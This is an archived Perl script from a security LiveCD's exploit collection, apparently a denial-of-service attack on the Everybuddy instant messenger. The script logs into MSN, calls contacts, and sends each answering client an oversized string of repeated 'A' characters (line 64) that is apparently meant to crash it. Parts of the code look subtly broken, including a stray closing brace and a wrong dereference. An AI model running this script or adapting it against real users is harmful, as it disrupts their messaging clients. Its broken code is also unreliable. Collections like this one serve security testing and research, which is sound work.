home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / im / messenger / everybuddy-dos.pl < prev    next >
Perl Script  |  2005-02-12  |  2KB  |  67 lines

  1. #!/usr/bin/perl
  2.  
  3. use MSN; # from  <http://www.adamswann.com/library/2002/msn-perl/> 
  4. http://www.adamswann.com/library/2002/msn-perl/
  5.  
  6. my $client = MSN->new();
  7. $client->connect('email address', 'password', '', {
  8.     Status => \&Status,
  9.     Answer => \&Answer,
  10.     Message => \&Message,
  11.     Join => \&Join }
  12. );
  13.  
  14.  
  15. sub Status {
  16.    my ($self, $username, $newstatus) = @_;
  17.  
  18.    print "Status() called with parameters:\n";
  19.    print " " . join(",", @_), "\n";
  20.  
  21.    # Print the status change info.
  22.    print "${username}'s status changed from " . 
  23. $self->buddystatus($username) . " to $newstatus.\n";
  24.  
  25.       # Initiate the call.
  26.       $self->call($username);
  27.  
  28.       # The call may take a few seconds to complete, so we can't
  29.       # immediately send messages. Let's put the message in a
  30.       # FIFO (queue) that is keyed by username.
  31.       push (@{$queue{$username}}, "Glad to see you online!");
  32.    }
  33.  
  34. }
  35.  
  36. sub Message {
  37.    my ($self, $username, undef, $msg) = @_;
  38.  
  39.    print "Message() called with parameters:\n";
  40.    print " " . join(",", @_), "\n";
  41.  
  42. }
  43.  
  44. sub Join {
  45.    my ($self, $username) = @_;
  46.  
  47.    print "Join() called with parameters:\n";
  48.    print " " . join(",", @_), "\n";
  49.  
  50.    # See if there's anything queued up.
  51.    # Deliver each message if there is stuff in the queue for this user.
  52.    while ($_ = shift @{$queue{$username}}) {
  53.       $$self->sendmsg($_);
  54.    }
  55. }
  56.  
  57. sub Answer {
  58.    my ($self, $username) = @_;
  59.  
  60.    print "Answer() called with parameters:\n";
  61.    print " " . join(",", @_), "\n";
  62.  
  63.    # Send a hello message.
  64.    $$self->sendmsg("AAAAAAAAAAAAAAAAAAAAAAAAAAA\r"x55);
  65.  
  66. }
  67.